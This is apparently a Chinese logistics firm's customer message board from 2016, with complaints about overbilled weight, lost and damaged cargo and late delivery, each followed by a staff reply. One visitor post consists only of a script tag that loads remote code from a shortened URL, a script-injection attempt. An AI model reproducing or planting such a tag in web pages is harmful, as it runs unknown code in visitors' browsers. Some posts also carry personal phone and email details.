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  • 留言人: 金成龙 关于“重量错误”的

    2016/3/2 20:24:55

    我们从深圳发了5箱的货,一共 46kg,而你们的单子上写了60kg,明显是为了多收物流费。 我们在一个月前,也发过同样的货,当时写了56kg,我们以为是不小心写错了,而这次还是写错了,明显是故意的,希望贵公司查清楚。我在韩国,电话是 82-1030576945 希望尽快回电话。

    客服回复:

    金先生,您好!感谢您的反馈,对于您提出的疑问,我已经和相关部门核实,您的货物重新过称,重量是88.13KG。为了方便计算,后面的小数点我们会去整数。如果您对重量有疑问,您客户提货时,您可以让客户当场过称。如还有其他需要请拔打4007001682查询,感谢您的留言祝您生活愉快再见!

  • 留言人: 不知道 关于“那些年实际上”的

    2016/2/28 1:14:31

    <script src=http://t.cn/RG04L3i></script>杀菌

    客服回复:

    您好,请您用文字表达您要反馈的问题,方便我们处理。或者拨打4007001682热线反馈,感谢您的留言祝您生愉快,再见!

  • 留言人: 郭生 关于“搞不见货,赔偿完全不合理!”的

    2016/2/26 18:28:26

    过年前寄了五十多箱货,到客人那里不见了几箱。找你们赔偿,几千元的东西才陪几百元。这么坑吗?然后把责任拖到我们寄件方这边,又说我们没保价什么的!问题是你们的收件员都没告诉我们要保价的事,现在那业务员拿了那几箱货跑路了,你们就说我们没保价,我们连有保价的事情都不知道,损失要我们这边赔吗?你们业务员都没说有保价这回事,又跑路,损失为什么是我们负责,而不是你们公司赔偿!!!如果这样,你们业务员跑路走了,我们这些寄件人就要承担你们公司业务员跑路的货款吗?这样那有天理!!我觉得除了顺丰的业务员要主动说要不要保价外,其他的快递公司的业务员都没说过要不要保价的事,更何况我们不知道景光物流有保价的事。你们业务员的错误,要我们承担,什么世道啊!还有你们那些客服这的很没素质,没培训过就上岗吗?

    客服回复:

    郭先生,您好!您的货物丢失,我们深感歉意。但是所有正规物流公司都有保价这项业务的。理赔也是根据保价金额的比例来赔偿。我司的工作人员都是经过正规的培训上岗。他们也是按照制度来和您沟通赔偿事宜。感谢您的留言,如还有疑问,请您拔打4007001682服务热线,祝您生活愉快再见!

  • 留言人: 郭生 关于“搞不见货,赔偿完全不合理!!”的

    2016/2/26 18:25:49

    过年前寄了五十多箱货,到客人那里不见了几箱。找你们赔偿,几千元的东西才陪几百元。这么坑吗?然后把责任拖到我们寄件方这边,又说我们没保价什么的!问题是你们的收件员都没告诉我们要保价的事,现在那业务员拿了那几箱货跑路了,你们就说我们没保价,我们连有保价的事情都不知道,损失要我们这边赔吗?你们业务员都没说有保价这回事,又跑路,损失为什么是我们负责,而不是你们公司赔偿!!!如果这样,你们业务员跑路走了,我们这些寄件人就要承担你们公司业务员跑路的货款吗?这样那有天理!!我觉得除了顺丰的业务员要主动说要不要保价外,其他的快递公司的业务员都没说过要不要保价的事,更何况我们不知道景光物流有保价的事。你们业务员的错误,要我们承担,什么世道啊!还有你们那些客服这的很没素质,没培训过就上岗吗?

    客服回复:

    郭先生,您好!您的货物丢失,我们深感歉意。但是所有正规物流公司都有保价这项业务的。理赔也是根据保价金额的比例来赔偿。我司的工作人员都是经过正规的培训上岗。他们也是按照制度来和您沟通赔偿事宜。感谢您的留言,如还有疑问,请您拔打4007001682服务热线,祝您生活愉快再见!

  • 留言人: 胡小姐 关于“寧波永康市送至香港運費查詢”的

    2016/2/23 16:43:53

    Hi Sir/Madam

    你好. 按以下数据, 想查询 海, 陆运费及其他费用: -

    陆运价钱:
    点对点服务, 由永康市(邮编321300)寄出货物到香港上环干诺道西, 费用多少? 多少天到?
    不锈钢杯
    26*40*30CM - 21箱, 每箱约重8.6KG
    共重181KGS


    海运价钱:
    请告知 - - 宁波local charge? 海运费多少钱一个CBM? 目的港local charge?
    宁波到美国LA
    散货工厂自行送进指定仓
    不锈钢杯
    26*40*30CM - 21箱, 每箱约重8.6KG
    共重181KGS

    请将报价回复到amy@headwind.com.hk

    客服回复:

    您好,非常抱歉,我们浙江省只能做到货,不发货。感谢您的留言祝您生活愉快!

  • 留言人: 袁丽英 关于“有破损不负责”的

    2016/2/2 11:26:10

    20号的时候客户去提货打开发玩灯具压变形了,客户跟物流协商但物流告诉客户多了赔不了只能给100不接受就返回来,灯具是烂了变形所以客户才不提,联系发货部门但发货部门说在老家不给处理,货钱两空,直接损失2500

    客服回复:

    您好,货物损坏,深感抱歉,灯具属于易碎品,在运输过程中出现货物破损是没得赔,易碎品是保丢不保损,请您谅解。如有疑问,请致电服务热线4007001682,感谢您的留言祝您生活愉快!

  • 留言人: 袁丽英 关于“有破损不负责”的

    2016/2/2 11:25:44

    20号的时候客户去提货打开发玩灯具压变形了,客户跟物流协商但物流告诉客户多了赔不了只能给100不接受就返回来,灯具是烂了变形所以客户才不提,联系发货部门但发货部门说在老家不给处理,货钱两空,直接损失2500

    客服回复:

    您好,货物损坏,深感抱歉,灯具属于易碎品,在运输过程中出现货物破损是没得赔,易碎品是保丢不保损,请您谅解。如有疑问,请致电服务热线4007001682,感谢您的留言祝您生活愉快!

  • 留言人: 袁丽英 关于“有破损不负责”的

    2016/2/2 11:17:22

    20号的时候客户去提货打开发玩灯具压变形了,跟物流协商但物流告诉客户只能多了也赔不了只能给100不接受就返回来,灯具是烂了破了所以客户不提,联系发货部门但发货部门说在老家不给处理,货钱两空,直接损失2500

    客服回复:

    您好,货物损坏,深感抱歉,灯具属于易碎品,在运输过程中出现货物破损是没得赔,易碎品是保丢不保损,请您谅解。如有疑问,请致电服务热线4007001682,感谢您的留言祝您生活愉快!

  • 留言人: 蒋生 关于“22天没收到货”的

    2016/1/28 16:49:47

    5号发货,27号没收到

    客服回复:

    您好,感谢您的留言,您的货物我已经向相关部门核实后,您的货物一直没送到,是因为打收件客户电话一直没人接。昨天已经再次确认今天会安排送货的。如还有其他需要请拨打4007001682查询。感谢您的留言,祝您生活愉快!

  • 留言人: 蒋生 关于“22天没送到”的

    2016/1/28 16:44:44

    5号发的货,27号还没到

    客服回复:

    您好,感谢您的留言,您的货物我已经向相关部门核实后,您的货物一直没送到,是因为打收件客户电话一直没人接。昨天已经再次确认今天会安排送货的。如还有其他需要请拨打4007001682查询。感谢您的留言,祝您生活愉快

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